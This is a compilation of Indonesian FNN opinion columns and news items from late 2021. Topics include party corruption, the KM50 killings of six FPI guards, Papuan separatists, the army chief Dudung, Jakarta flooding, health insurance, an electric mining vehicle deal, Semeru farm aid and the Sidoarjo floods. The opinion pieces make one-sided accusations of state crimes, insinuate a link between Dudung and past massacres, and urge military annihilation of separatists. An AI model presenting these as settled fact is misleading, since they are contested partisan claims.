Oleh Abdurrahman Syebubakar *) Partai Politik (parpol) adalah salah satu pilar utama demokrasi. Tidak ada negara demokratis tanpa kehadiran (multi) parpol. Secara teoritis, parpol berfungsi sebagai kanal aspirasi rakyat, sarana pencerahan politik warga dan pengkaderan calon pemimpin bangsa. Bagaimana realitasnya dalam perpolitikan kita? Sejak Republik ini dihempas gelombang ke-2 demokrasi, paska lengsernya Presiden Soeharto medio 98, parpol tumbuh bak jamur di musim hujan. Para aktivis, tokoh agama, tokoh masyarakat, konglomerat, purnawirawan TNI/Polri, mantan pejabat, keluarga pejabat, selebriti, pewaris kuasa politik masa lalu, bahkan kelompok generasi milineal berlomba lomba mendirikan parpol. Awalnya, tidak sedikit diantara mereka berdalih mendirikan ormas dan bersumpah di ruang publik bahwa ormas tersebut tidak akan menjelma jadi parpol. Faktanya, tanpa rasa malu mereka menjilat ludahnya sendiri. Ormas yang mereka dirikan dalam “sekejap” berubah jadi parpol. Hingga saat ini, sebanyak 74 parpol yang terdaftar di Kementerian Hukum dan Hak Asasi Manusia. Dari 74 parpol tersebut, 16 lolos menjadi peserta Pemilu 2019. Diantara 16 parpol peserta Pemilu, terdapat 12 parpol lama, yaitu PDIP, Hanura, Nasdem, PAN, PKS, Gerindra, Golkar, PPP, Demokrat, PKB, PBB dan PKP Indonesia. Sementara sisanya, 4 parpol, merupakan pendatang baru yaitu Partai Perindo, PSI, Partai Berkarya, dan Partai Garuda. Pasca Pemilu 2019, lahir belasan parpol, diantaranya Partai Gelora, Partai Ummat, Partai Masyumi Reborn, Partai UKM, Partai Kebangkitan Nusantara, Partai Dakwah Rakyat Indonesia. Bukan rahasia lagi, parpol menjadi kendaraan politikus haus uang dan kekuasaan. Perekrutan anggota, pengurus, calon anggota DPRD/DPR, calon kepala daerah dan capres/cawapres dari parpol, berbasis transaksi - pola dagang sapi. Tak heran, parpol disesaki politikus pemburu rente. Yang dikejar hanya uang dan kekuasaan. Setelah itu uang dan kekuasaan lagi, begitu seterusnya. Parpol laksana kerajaan. Kendali penuh ada di tangan ratu atau raja parpol dan keluarga terdekatnya. Sirkulasi kepemimpinan mandeg. Hampir tidak ada ruang tersisa bagi kelompok di luar keluarga dan kroni untuk memegang kendali parpol. Kecuali yang berkantong tebal, tentunya. Atau paling tidak, mereka yang menghamba pada ratu atau raja. Dus, jika bukan keluarga kerajaan, parpol dikendalikan kalangan berduit dan hamba sahaya keluarga kerajaan. PDIP adalah Megawati. Megawati dan keluarganya adalah PDIP. Tidak ada Demokrat tanpa SBY. SBY dan keluarganya menjadi simbol utama Partai Demokrat. Demikian pula dengan Gerindra, partai papan tengah yang sangat bergantung pada sosok Prabowo. Sementara Partai Nasdem mutlak dikendalikan Surya Paloh, sang maestro media, yang juga eksodan politik dari Partai Golkar. Tanpanya, Nasdem sebagai parpol papan bawah hanya tinggal nama. Gejala patologis ini cukup akrab dengan realitas politik kekinian kita. Daftarnya bisa dilanjutkan! Seturut dengan itu, parpol menjadi penyangga utama politik dinasti, politik kekerabatan, yang masih marak dalam pesta demokrasi elektoral kita. Sejumlah kepala daerah lahir dari rahim politik dinasti. Yang paling mencolok adalah Walikota Solo Gibran Rakabuming (anak sulung Presiden Jokowi) dan Walikota Medan Bobby Nasution (menantu Presiden Jokowi). Selain mengerdilkan “panggung politik yang setara” bagi semua aspiran kontestasi elektoral dan menghambat sirkulasi politik kekuasaan yang terbuka dan sehat, politik dinasti juga rawan penyalahgunaan kekuasaan dalam bentuk Korupsi, Kolusi dan Nepotisme (KKN). Para politikus pemburu rente yang menyesaki parpol hanya dekat dengan rakyat di masa Pemilu. Segala cara dimainkan guna mendulang suara rakyat. Tebar pesona, umbar janji, dan jual beli suara melalui politik amplop dan sembako, menjadi tradisi lumrah bagi para politikus pemburu rente. Usai ritual pemilu lima tahunan, para politikus lupa pada rakyat. Yang diingat hanyalah trik mengembalikan uang mahar pencalonan. Jika memungkinkan, untung berlipat untuk pencalonan berikutnya. Memanfaatkan kekuasaan demi kekuasaan. Dalam kamus politikus pemburu rente, tidak ada istilah “abuse of power” (penyalahgunaan kekuasaan). Ingkar janji, mendadak hilang ingatan adalah siasat umum mereka. Fungsi pendidikan politik terabaikan. Tutup buku untuk proyek pencerahan bagi warga. Nasib konstituen, nasib rakyat bukan lagi urusan para politikus pemburu rente. Diharapkan berperan sebagai sarana penggemblengan calon pemimpin bangsa dan negarawan, parpol justru menjadi sarang koruptor. Hampir semua parpol kecipratan ulah koruptif dan perilaku menyimpang anggotanya. Dari berbagai sumber, terungkap bahwa gerbong parpol pendukung Presiden Jokowi mendominasi kasus korupsi. Antara 2014 dan 2017, dari 31 kasus korupsi parpol, 22 diantaranya “sumbangan” koalisi parpol pendukung presiden Jokowi. Pada tahun 2018, 21 kepala daerah terjaring Operasi Tangkap Tangan (OTT) KPK, dan hampir seluruhnya berasal dari barisan parpol pendukung pemerintah. Delapan (8) kader PDIP, 5 Golkar, 2 Nasdem, 1 Perindo, dan 1 Partai Nasional Aceh, sisanya dari parpol non koalisi presiden Jokowi, yaitu 2 kader PAN dan 1 Partai Berkarya. Sementara Bupati Pakpak Barat, Sumatera Utara, kader Partai Demokrat, mendeklarasikan dukungannya kepada Jokowi pada pilpres 2019, tak lama berselang sebelum ditangkap KPK. Di saat rakyat menderita akibat salah urus negara dan dampak pandemi COVID-19, para koruptor dari parpol berpesta pora menjarah uang negara. Sebut saja korupsi Bansos oleh eks Mensos Juliari Batubara, Wakil Bendahara Umum PDIP, yang memotong hampir 40% dari Rp. 6,8 triliun total anggaran Bansos Sembako Jabodetabek. Sekitar dua minggu sebelumnya, pada akhir November 2020, eks Menteri Kelautan dan Perikanan Edhy Prabowo dari Gerindra terjaring Operasi Tangkap Tangan (OTT) KPK atas gratifikasi izin ekspor benih lobster, dibantu kader PDIP. Belum lagi menyebut skandal suap anggota KPU oleh Harun Masiku dari PDIP yang keberadaannya hingga kini masih raib. Masih panjang daftar skandal korupsi era otoritarianisme korup rezim Jokowi yang banyak melibatkan elit parpol, baik di pusat maupun daerah. Tak ayal, skor Indeks Persepsi Korupsi (IPK) Indonesia pada tahun 2020 anjlok, dari 40 menjadi 37, membuat posisinya merosot 17 peringkat, dari 85 menjadi 102 di antara 180 negara. Posisi Indonesia berada di bawah Timor Leste dan Etiopia. Anjloknya IPK Indonesia tersebut menunjukkan penyuapan, dan pencurian dana publik oleh pejabat negara dan politikus makin luas dan buas. Juga menggambarkan absennya kemauan politik negara dalam pemberantasan korupsi. Alih alih memimpin perang melawan korupsi dan arus politik kriminal, presiden Jokowi justru memfasilitasi pembusukan Komisi Pemberantasan Korupsi (KPK). Upaya membusuki KPK dilakukan secara sistematis sejak awal berkuasa, melalui skenario kriminalisasi Ketua Abraham Samad dan Wakil Ketua Bambang Widjojanto pada tahun 2015. Kasus penyiraman air keras terhadap penyidik senior KPK, Novel Baswedan, pada April 2017, hingga kini menjadi misteri. Presiden Jokowi enggan memerintahkan pengusutan secara tuntas untuk membuka otak di balik penyerangan sadis ini. Hanya pelaku lapangan (diduga pemeran pengganti) yang dihukum ringan. Puncaknya, revisi UU No. 30/2002 tentang KPK pada akhir 2019 yang mengebiri kewenangan luar biasa dari lembaga anti korupsi ini sehingga tidak bisa lagi melaksanakan tugasnya secara efektif. *) Ketua Dewan Pengurus IDe Alumnus Universitas Mataram (UNRAM)

Negara Melakukan Kejahatan By Omission

By M Rizal Fadillah Rezim yang tidak serius menangani pembunuhan di Papua adalah rezim tidak bertanggungjawab. Pemerintah dan komando di Jakarta yang masih berbaik baik dengan separatis KKB Papua adalah kekeliruan fatal. Apalagi berfikir akan merangkul dan menganggap para pembantai sebagai saudara. Ini bukan kasus main-main sehingga dapat dilakukan pembiaran atas kejahatan serius yang dijalankan dan digerakkan oleh kelompok pemberontak atau separatis KKB Papua. Perjuangan untuk memisahkan diri dari NKRI adalah perbuatan makar yang harus ditumpas. Negara yang tidak melakukan tindakan atau gagal melakukan tindakan lebih lanjut yang menjadi kewajiban hukumnya tidaklah dapat dibenarkan. Terbunuhnya belasan prajurit di Papua tanpa ada balasan atau penghukuman yang setimpal oleh negara, sama saja dengan Pemerintah atau pengambil keputusan politik telah melakukan pelanggaran HAM berupa kejahatan pembiaran atau violence by omission. Kejahatan atau pelanggaran HAM yang dilakukan Pemerintah kini menjadi lengkap, yaitu : Pertama, kejahatan atas dasar perundang-undangan (legislative violence) yakni peraturan perundang-undangan yang tidak mampu menjangkau. Kasus yang dapat diangkat adalah tewasnya 700 petugas Pemilu tahu 2019. Tidak ada aturan perundang-undangan yang dapat mendorong pengusutan atas pelanggaran HAM ini. Kedua, negara aktif melakukan kejahatan atau pelanggaran HAM (violence by commission ). Contohnya adalah pembunuhan pengunjuk rasa 21-22 Mei 2020 dan pembantaian 6 anggota laskar FPI 7 Desember 2020. Yang terakhir ini dekat untuk dikualifikasikan sebagai pembunuhan politik. Ketiga, negara membiarkan terjadinya kejahatan atau pelanggaran HAM (violence by omission) itulah KKB Papua yang ditempatkan "saudara yang harus dirangkul". Tidak dilakukan tindakan lanjutan serius untuk memberantas. Kasad Jenderal Dudung bukan tak penting untuk berceramah kuliah subuh di Papua namun yang lebih penting adalah memberi motivasi atau mengomando pasukan untuk berperang membasmi gerakan separatis KKB Papua. Lakukan serangan fajar untuk membuktikan bahwa TNI dan bangsa Indonesia itu jaya dan semakin berwibawa. *) Pemerhati Politik dan Kebangsaan.

Siapa Guru Kiyai Dudung?

By Asyari Usman *) Alhamdulillah, KSAD kali ini pantas diberi gelar “kiyai”. Kiyai Dudung Abdurrachman. Mengapa pantas? Karena beliau sudah bisa memberikan ceramah agama (taushiyah). Dan ceramah itu tentang iman, pula. Sangat jauh berbeda dengan para KSAD pendahulu beliau. Dudung menjelaskan tentang kategori iman. Ada iman taklid (hanya mengikut). Ada iman ilmu. Ada iman iyaan. Ada iman haq. Kelihatannya, berdasarkan ilmu tentang iman inilah Dudung memperingatkan siapa saja agar “tidak terlalu dalam mempelajari agama”. Ucapan ini memancing banyak sindiran dari berbagai pihak. Sehari kemudian, Kadispenad meluruskan ucapan Dudung itu. Agar khalayak tidak salah paham. Menurut Kadispenad Brigjen Tatang Subarna, yang dimaksudkan Dudung agar “tidak terlalu dalam mempelajari agama” adalah bahwa “belajar agama terlalu dalam bisa terjadi penyimpangan apabila tanpa guru”. Dari pelurusan oleh Kadispenad ini bisa diasumsikan bahwa Dudung belajar agama dengan bimbingan guru. Guru beliau mungkin pernah mengatakan agar “tidak terlalu dalam mempelajari agama”. Ini petuah yang luar biasa. Cara baru belajar agama. Tidak perlu dalam-dalam. Sinonim “tidak perlu dalam-dalam” itu adalah “tidak usah serius”. Ini seratus persen ajaran baru. Belajar agama di pinggir-pinggirnya saja. Itu artinya, tidak usaha belajar tentang kezaliman, pembunuhan tanpa hak, korupsi, penyiksaan, pemerkosaan, menjual narkoba, dsb. Karena semua hal ini termasuk belajar agama serius, belajar dalam. Nah, siapa gerangan guru Kiyai Dudung? Siapa guru yang mengajarkan supaya belajar agama dangkal-dangkal saja? Perlu dilacak. Sebab, sejauh ini belum pernah ada anjuran agar belajar agama tidak dalam. Di mazhab mana pun Anda cari, para ulama pasti menganjurkan agar belajar agama sampai dalam. Publik wajar tahu siapa guru Dudung. Khalayak ingin tahu siapa yang menjadi panutan Kiyai Dudung. Kalau ditelusuri dari ucapan Dudung yang berbunyi “Mendidih darah saya”, dalam wawancara dengan Deddy Corbuzier belum lama ini, ada kemungkinan beliau belajar dari guru-guru senior yang beraliran “darah”. Misalnya, guru besar darah Talangsari, guru besar darah Tanjungpriok, dan darah-darah lainnya. Ini hanya dugaan saja. Jadi, perlulah dilacak siapa guru Pak Dudung. Supaya masyarakat tahu dari mana asal-usul petuah agar “tidak terlalu dalam mempelajari agama”.[] (Panulis wartawan senior FNN)

Jakarta Tenggelam, Prediksi Joe Biden dan Realita Cepat Mana?

Oleh Ridwan Saidi *) "Dalam10 tahun ke depan Jakarta tenggelam" (Presiden USA Joe Biden, 27/7/2021, di depan Kantor Direktorat Intelejen Nasional). Tentu ada dasar yang kuat bagi Biden untuk katakan hal itu. Tapi kenapa di Kantor Intelejen? Sebagai anak Jakarta yang sempat menikmati indahnya pantai Jakarta seraya ditingkahi senandung Bandar Jakarta ciptaan komponis Betawi Ismail Marzuki, saya kini tak dapat gembira apalagi bercanda-canda. Belum pernah ada presiden negara apa pun kecuali USA. Presiden bicara dengan serius tentang Jakarta. Jakarta harus diselamatkan dari kelakuan pemodal yang tahunya untung. Dengan korbankan pantai kami yang semula tak bercacat mulai dari Kamal Muara dan Kali Adem sampai Sampur dan Marunda. Sampur hilang, Marunda tak jelas bentuk. Pulau-pulau alfabet tutup, Kamal Muara dan Kali Adem seraya tanah dipacul dari pulau Seribu. Dalam 10 tahun Jakarta tenggelem, kata Joe Biden. Sunda Kalapa sungguh damai dan indah seperti karya lithografi di atas. Sayang Sunda Kalapa sebagai aset Nasional tak dirawat dengan semestinya bahkan pemodal berlomba merusak bukan saja Sunda Kalapa tapi juga Jakarta bahkan Indonesia. Para pejabat pusat dan daerah jangan merasa dirinya pintar, tapi tiada berdaya apa-apa ketika Semeru meletus dan rob hantam Jakarta sejak 4 Desember 2021 tak henti-henti, hingga sekarang. Kepulauan Seribu kebanjiran. Malah bencana meluas hampir di seluruh Jawa lalu NTB, Kalimantan, Sulawesi Selatan, semalam Manado. Ancol yang katanya mau jadi arena balap Formula E menjadi kolam air terbesar di dunia, bukan lautan juga bukan kolam susu. Mr President, I wanna ask U, why were U predicted the dark future of our Jakarta? Kiranya tentu Tuan ada kekhawatiran tentang "Jakarta" (baca Indonesia). Jika bencana berlalu, apa rencana elit pemerintah dan Pemda? Belum usai pula berpikir rob, longsor, dan gunung meletus, beredar pula khobar Cilegon akan dihantam tsunami. What happened to us? Kok begini benar nasib kita. Atau serial bencana akses solusi. Berharaplah dengan memelihara api harapan sekecil apa pun. Jangan biarkan padam. Wa ba'duHu. *) Budayawan

Tegakkan Hukum dan Keadilan, Adili Para Pelaku Pelanggaran HAM Berat!

Jakarta, FNN - Pada Selasa, 7 Desember 2021, bertepatan dengan 2 Jumadil Awwal 1443, Tim Pengawal Peristiwa Pembunuhan Enam Pengawal Habib Rizieq Syihab (HRS), atau disingkat TP3, memperingati setahun syahidnya enam pengawal HRS yang telah dibunuh secara sadis oleh aparat negara. Sebuah pelanggaran HAM berat di Jalan Tol Jakarta Cikampek Km 50 pada 7 Desember 2020 tahun lalu ini, diperingati TP3 dengan acara “Tahlil dan Doa Nasional Bersama” secara daring dan live streaming video channal/ youtube. Acara diikuti oleh ribuan peserta dari berbagai kalangan, termasuk para penandatangan Petisi Rakyat untuk Penuntasan Kasus Pembunuhan Enam Pengawal HRS. Acara haul dan doa bersama mengenang setahun pembunuhan tanpa peri- kemanusiaan terhadap 6 Pengawal HRS ini sekaligus mengingatkan bahwa hukum dan keadilan belum tegak secara utuh dan beradab di negeri ini. “Para pelaku pelanggaran HAM Berat yang membunuh enam pengawal HRS masih hidup bebas berkeliaran tanpa tersentuh hukum,” ungkap Ketua TP3 Abdullah Hehamahua. Guna menutupi kejadian sebenarnya dan melindungi para pembunuh sadis ini, lanjut Abdullah Hehamahua telah pula dilakukan berbagai upaya dan langkah cover-up. “Para oknum penguasa secara sistematis telah terlibat merekayasa proses penyelidikan, penyidikan, penuntutan hingga pengadilan yang sedang berlangsung saat ini,” tambah Sekretaris TP3 Marwan Batubara. Pengadilan terhadap tersangka yang “dinyatakan oleh penguasa” sebagai pelaku pembunuhan memang sudah berlangsung di pengadilan, atas nama level Brigadir yaitu Fikri Ramadhan dan M. Yusmin Ohorella. Namun, kata Marwan Batubara, penetapan dua tersangka ini jauh dari rasa keadilan. Bisa jadi mereka memang tersangka sebenarnya, tapi mereka ini bukanlah tersangka satu-satunya. “Ada nama-nama pelaku lainnya dengan level kepangkatan lebih tinggi yang sangat diyakini terlibat kejahatan HAM ini, termasuk sang master mind dan pengendali operasi,” tegasnya. Persidangan yang tengah berlangsung di PN Jakarta Selatan dengan Nomor Perkara 867 dan 868 atas nama terdakwa Fikri Ramadhan dan M. Yusmin Ohorella bukanlah persidangan dalam rangka menegakkan keadilan atas terbunuhnya enam pengawal HRS. Setelah mengikuti jalannya persidangan di PN Jakarta Selatan selama ini, proses hukum tersebut tidak lebih dari persidangan untuk melindungi dan mengamankan para penjahat pelanggar HAM Berat yang sebenarnya. “Pengadilan ini merupakan bukti nyata berlangsungnya sebuah sandiwara dan dagelan, untuk menghilangkan jejak para pelaku tindak kebiadaban yang sesungguhnya,” ungkap Abdullah Hehamahua. Persidangan di PN Jakarta Selatan juga makin membuktikan adanya sikap Pemerintahan Presiden Joko Widodo yang “unwilling” dan “unable” untuk mengungkap terjadinya pelanggaran HAM Berat. Persidangan tersebut semakin menunjukkan bahwa pembunuhan enam pengawal HRS adalah peristiwa yang dilakukan secara sistematis dengan melibatkan aparat negara yang berada di bawah kendali kekuasaan rezim. Menurutnya, persidangan di PN Jakarta Selatan atas nama terdakwa Fikri Ramadhan dan M. Yusmin Ohorella justru dijadikan forum dan wahana untuk membenarkan tindakan pembunuhan yang dilakukan aparat negara terhadap enam pengawal HRS. “Peradilan di PN Jakarta Selatan ini berlangsung tanpa adanya bukti saksi. Semua saksi-saksi yang dihadirkan adalah justru saksi-saksi a de charge (saksi-saksi yang menguntungkan terdakwa) dan saksi-saksi yang membela Pelanggar HAM Berat,” tegas Abdullah Hehamahua. Ia mengatakan, TP3 telah mewawancarai enam pengawal HRS yang selamat dari upaya pembunuhan di Km 50. Kesaksian mereka membuktikan benar telah terjadi pelangaran HAM Berat karena dilakukan secara terencana dan sistimatis melibatkan kekuatan aparat negara yang bersenjata. Kesaksian enam pengawal HRS yang selamat ini tak mungkin bisa diajukan sebagai saksi di PN Jakarta Selatan karena memang tidak dikehendaki oleh rezim. “Mereka hanya mungkin bersaksi di Pengadilan HAM,” tegasnya. Namun, setelah setahun berlalu, langkah awal untuk bergulirnya Pengadilan HAM tidak pernah bisa terlaksana karena Komnas HAM tidak pernah melakukan Penyelidikan atas dasar UU Nomor 26 Tahun 2000. Abdullah Hehamahua mengingatkan, TP3 adalah Tim Pengawal Peristiwa Pembunuhan enam pengawal HRS. Jadi fungsi lembaga ad hoc ini adalah mengawal proses penanganan pembunuhan enam pengawal HRS dimulai dari penyelidikan, penyidikan, pengadilan sampai putusan hakim. “TP3 berkewajiban untuk mengawasi proses penanganan tersebut agar bersifat terbuka, jujur, dan berjiwa besar sesuai dengan UUD 1945, UU Nomor 26 Tahun 2000 dan peraturan terkait yang berlaku,” lanjutnya. TP3 atas nama keluarga korban dan telah menyerap aspirasi masyrakat berkeadaban menggunakan hak-hak sipilnya dalam mengawal proses penanganan kasus pembunuhan sadis ini. Sebab, pemilik republik ini adalah rakyat, sehingga setiap saat mengawal mereka yang diberi mandat untuk mengelola manajemen pemerintahan termasuk aspek penegakan hukum. TP3 dalam pengawalannya meyakini telah terjadi intervensi yang tidak fair terhadap Komnas HAM dari pihak tertentu yang saat ini berkuasa, agar pembunuhan tak beradab tersebut tidak terkategori sebagai pelanggaran HAM Berat. Hasilnya, terbitlah laporan sarat rekayasa oleh Komnas HAM, diberi judul Laporan Hasil Penyelidikan, yang pada dasarnya hanyalah Laporan Hasil Pemantauan! Dalam hal ini Komnas HAM telah mengkhianati rakyat yang mendukung keberadaannya, sekaligus mengkhianati amanat reformasi. Perkara pembunuhan atas enam pengawal HRS hanya bisa tuntas secara adil dan beradab bila diselesaikan Pengadilan HAM yang digelar sesuai UU Nomor 26 Tahun 2000. “Oleh karena itu Komnas HAM harus melakukan Penyelidikan Pro Yustisia sesuai UU Nomor 26 Tahun 2000 tersebut. Hanya dengan Pengadilan HAM lah pelanggaran HAM Berat dapat terungkap,” kata Abdullah Hehamahua. Sejalan dengan itu, TP3 juga menuntut agar Presiden Jokowi, sesuai janji yang pernah dinyatakan saat bertemu TP3 pada 9 Maret 2021, di Istana Merdeka, ikut bertanggung jawab untuk menuntaskan kasus pelanggaran HAM berat ini secara adil, transparan dan dapat diterima publik. Untuk itu, “Presiden Jokowi perlu pula meminta Komnas HAM untuk segera melakukan penyelidikan Pro Yustisia tersebut,” tambahnya. (mth)

BPJS Kesehatan: Komitmen Pemerintah Lindungi Penduduk Jadi Kunci UHC

Jakarta, FNN -BPJS Kesehatan menyampaikan komitmen pemerintah melindungi penduduknya, termasuk warga negara asing (WNA) yang bekerja minimal enam bulan di Indonesia melalui jaminan kesehatan menjadi kunci Cakupan Kesehatan Semesta (Universal Health Coverage/UHC). "Peserta JKN-KIS saat ini sudah mencapai 226,7 juta jiwa atau sekitar 83 persen dari total penduduk Indonesia. Selain dukungan pemerintah melalui regulasi yang mewajibkan seluruh penduduk terdaftar ke dalam Program JKN-KIS, BPJS Kesehatan juga proaktif mengadvokasi penduduk dari berbagai segmen untuk menjadi peserta JKN-KIS," ujar Direktur Utama BPJS Kesehatan, Ali Ghufron Mukti dalam keterangan tertulis yang diterima di Jakarta, Selasa. Ia menambahkan, sinergi antarlembaga juga diperkuat untuk menegakkan kepatuhan, terutama dari sektor formal. Menurut Ghufron, yang juga menjabat sebagai Ketua Komisi Kesehatan atau Technical Commission on Medical Care and Sickness periode 2020-2022, UHC bermakna bahwa setiap orang dapat mengakses layanan kesehatan berkualitas yang mereka butuhkan tanpa kesulitan keuangan. Berdasarkan definisi tersebut, tantangan yang dihadapi berbagai negara di dunia saat ini adalah bagaimana asuransi kesehatan sosial dapat mencakup seluruh penduduk di suatu negara, bagaimana memastikan akses penduduk ke asuransi kesehatan sosial, dan bagaimana memberikan jaminan pelayanan yang berkualitas. "Tantangan utama lainnya adalah bagaimana agar sustainabilitas program jaminan kesehatan bisa tetap terjaga. Kemiskinan dan ketimpangan sosial menantang kita untuk memastikan apakah jaminan kesehatan sosial telah mencakup semua penduduk," kata Ghufron dalam webinar bertema Extending Social Health Protection in the Asia-Pacific Region towards Universal Health Coverage, hari ini (07/12). Ia menambahkan, asuransi kesehatan yang terjangkau atau layanan kesehatan yang didanai pemerintah, sangat penting untuk melindungi masyarakat. "Masalah ini juga menjadi perhatian dalam Agenda Pembangunan Berkelanjutan PBB Tahun 2030," ucapnya. Ia mengatakan, hal lain yang harus diperhatikan adalah kecukupan manfaat yang diberikan kepada peserta jaminan kesehatan di tengah isu peningkatan biaya perawatan, penuaan populasi, dan beban penyakit kronis. Di samping itu, lanjut dia, mutu pelayanan kesehatan juga harus dipastikan berkualitas, dapat diakses, dan dapat diterima oleh semua lapisan masyarakat dengan memanfaatkan sumber daya yang ada. Acara webinar ini diselenggarakan oleh Perserikatan Bangsa-Bangsa (PBB), Issue-Based (Coalition), International Labour Organization (ILO), United Nation Children’s Fund (UNICEF), dan organisasi internasional lainnya. Selain Ghufron, pembicara lainnya juga hadir dalam acara tersebut antara lain berasal dari Korean Health Industry Development Institute (KHIDI), Embassy of Luxemburg Thailand, Public Health Foundation of India (PHFI), dan lain sebagainya. (mth)

INKA Gandeng PTBA Kembangkan Kendaraan Tambang Bertenaga Listrik

Madiun, FNN - PT Industri Kereta Api atau PT INKA (Persero) menggandeng PT Bukit Asam (PTBA) Tbk untuk mengembangkan kendaraan tambang berbasis atau bertenaga listrik dengan melakukan penandatanganan kesepakatan (MoU) antara kedua BUMN tersebut. Direktur Utama PT INKA (Persero) Budi Noviantoro mengatakan tidak ada kesulitan bagi INKA untuk mengembangkan kendaraan tambang berbasis listrik, sebab sebelumnya INKA telah berhasil mengembangkan term baterai dan bus listrik (E-Inobus). Karena itu, tidak butuh waktu lama bagi INKA dan PTBA untuk membahas rencana tersebut hingga akhirnya tertuang dalam MoU. "Kita akan melakukan pengembangan kendaraan-kendaraan tambang bertenaga listrik. Kebetulan PTBA ini merupakan industri pertambangan. Karenanya kita gabung, ada pasar, ada fasilitas, ada teknologi, akhirnya kita sepakat untuk mengembangkan itu," ujar Budi Noviantoro saat penandatanganan kerja sama tersebut di PT INKA (Persero) Kota Madiun, Selasa. Ia menargetkan sebelum akhir tahun 2022, tidak hanya prototipe, tetapi kendaraan tambang berbasis listrik tersebut sudah lulus sertifikasi. Adapun kelebihan dari pengembangan kendaraan proyek tambang bertenaga listrik tersebut adalah menurunkan gas emisi (polusi udara) serta mengurangi polusi suara karena tidak bising. Direktur Utama PTBA Suryo Eko Hadianto menyatakan, kesepakatan dengan PT INKA tersebut dilakukan untuk mewujudkan "net zero emission" pada tahun 2060 sesuai arahan Presiden Joko Widodo. Kebijakan tersebut berlaku pada seluruh perusahaan termasuk pertambangan. Selama ini ia menggunakan kendaraan operasional bertenaga diesel. "Itu yang menjadi komitmen kita bersama, yakni diminta untuk menurunkan gas emisi. Untuk itu kendaraan operasional di tambang yang cukup banyak, baik itu truk maupun mobil operasional harus dialihkan ke kendaraan listrik," kata Suryo. Kerja sama tersebut juga didukung keberadaan Bukit Asam yang sudah punya PLTU. Sehingga pasokan listrik berlimpah. "Selain menjadi tambang yang lebih efisien, juga mengembangkan bisnis baru bersama PT INKA. Target kita seluruh pertambangan di Indonesia menggunakan mobil listrik produksi PT INKA dan Bukit Asam," ungkapnya. Suryo menyatakan, di Indonesia banyak perusahaan tambang yang bisa dijajaki antara PT INKA dengan PTBA. Dengan begitu kendaraan operasional pertambangan yang selama ini impor dari luar negeri, ke depan diharapkan bisa menggunakan kendaraan tambang berbasis listrik produk dalam negeri. Yakni karya PT INKA bersama PTBA. (mth)

Mentan Agendakan Tiga Penanganan Pertanian di Wilayah Semeru

Jakarta, FNN - Menteri Pertanian Syahrul Yasin Limpo mengagendakan tiga penanganan pertanian di beberapa wilayah kabupaten yang terdampak erupsi Gunung Semeru agar bisa kembali cepat pulih dan berproduksi. Mentan Syahrul yang mengunjungi Desa Sumber Mujur, Kecamatan Candipuro Kabupaten Lumajang, Jawa Timur, bersama Anggota Komisi IV DPR RI Charles Meikyansah mengatakan prioritas utama adalah penyelamatan warga. "Masih banyak saudara-saudara kita yang harus dievakuasi, harus kita selamatkan nyawanya sebagaimana arahan Bapak Presiden Joko Widodo," kata Mentan Syahrul dalam keterangan tertulisnya yang diterima di Jakarta, Selasa. Selain itu, Mentan melanjutkan bahwa bukan hanya manusia yang harus diselamatkan tapi makhluk hidup lain seperti tanaman dan hewan ternak juga harus diperlakukan sama. "Kita tadi sudah sepakat untuk membuat kandang pengungsian terpusat dan ada juga spot-spot di beberapa tempat yang nantinya masih dalam kendali kita," katanya. Seluruh pengendalian yang berkaitan dengan tiga agenda Kementerian Pertanian nantinya akan dipusatkan di Balai Penyuluh Pertanian (BPP). "Agenda pertama yaitu agenda darurat seperti yang dilakukan hari ini, agenda berikutnya adalah agenda temporary, menyelamatkan apa yang bisa diselamatkan kemudian melakukan recovery, apa yang bisa ditanam, agenda ketiga yaitu agenda permanen, perbaikan irigasi dan yang lainnya," imbuh Mentan. Pada kunjungan tersebut, secara simbolis Mentan memberikan bantuan, benih jagung, benih padi, bibit kopi arabika untuk luasan 847 hektar. Bantuan ternak berupa sapi dan kambing sejumlah 174 ekor, serta rumput, pakan ternak, konsentrat dan obat-obatan. Selain itu juga masyarakat terdampak mendapatkan bantuan berupa traktor roda empat, traktor roda dua dan hand sprayer. (mth)

Sidoarjo Tetapkan Status Tanggap Darurat Banjir Tiga Desa

Sidoarjo, FNN - Pemkab Sidoarjo menetapkan status tanggap darurat atas kejadian banjir di Kecamatan Tanggulangin, tepatnya di tiga desa yaitu Desa Kedungbanteng, Desa Banjarasri, dan Desa Banjarpanji yang berlaku mulai 7-21 Desember 2021. Bupati Sidoarjo Ahmad Muhdlor Ali mengecek dan berkeliling ke tiga desa untuk berbincang dengan warga serta memastikan bantuan sembako terdistribusi dengan baik. "Pengurukan pasir dan batu di jalan Desa Banjarpanji. Pompa penyedot air juga kami siagakan. Ada 7 pompa yang sudah siap dan rencananya akan ditambah lagi 8 pompa," katanya, Selasa. Muhdlor menginstruksikan ke jajaran terkait seperti Badan Penanggulangan Bencana Daerah (BPBD), Dinas PU BMSDA, Dinas Lingkungan Hidup dan Kebersihan, Dinas Kesehatan, Dinas Sosial, Camat Tanggulangin serta tiga pemerintah desa untuk bersama-sama bergerak mempercepat penanganan banjir di tiga desa tersebut. Penanganan yang dilakukan selama tanggap darurat di antaranya percepatan pengurukan material pasir dan batu di jalan Desa Banjarpanji yang tergenang air setinggi 40 centimeter. Selain itu, pihaknya menyiagakan sejumlah pompa penyedot air yang akan ditempatkan di tiga desa. Pemerintah juga mempercepat pembuatan kisdam (bendungan sementara) dan menyiapkan bantuan sembako bagi warga yang terdampak. Ketiga desa itu, menurut Muhdlor, sudah dalam pantauan Pemerintah Kabupaten Sidoarjo sejak 2018. "Yang jelas tiga desa ini adalah desa yang masuk dalam pantauan mulai dari 2018 hingga 2020 mengalami penurunan tanah. Dan angkanya cukup tinggi bahkan tertinggi penurunan hingga 30 centimeter," ujarnya. Muhdlor juga menyampaikan prediksi dan peringatan dari BMKG bahwa akan datang air rob yang diperkirakan puncaknya terjadi pada Desember. "Pemkab Sidoarjo sudah mewanti-wanti karena 3-6 Desember ini sesuai analisis BMKG, memang air rob tinggi, air laut naik cukup tinggi sekitar 1,5-2 meter," ujarnya. Bupati muda alumnus Universitas Airlangga (Unair) itu juga mengatakan pada daerah Desa Banjarpanji, ketika hujan dari hulu ke hilir, maka kemudian air tidak bisa sampai ke laut karena air laut naik ke arah daratan. "Maka penyediaan pompa itu hal yang tidak bisa diganggu gugat karena memang tanahnya mengalami penurunan. Jadi ketiga desa ini adalah desa-desa yang mengalami penurunan tanah dan lebih rendah dari desa lainnya. Nanti kita akan tambah pompa. Kalau memang tidak memungkinkan, kita sewa secepatnya," ucapnya. Selain faktor air rob, curah hujan yang tinggi juga menjadi pelengkap terjadinya 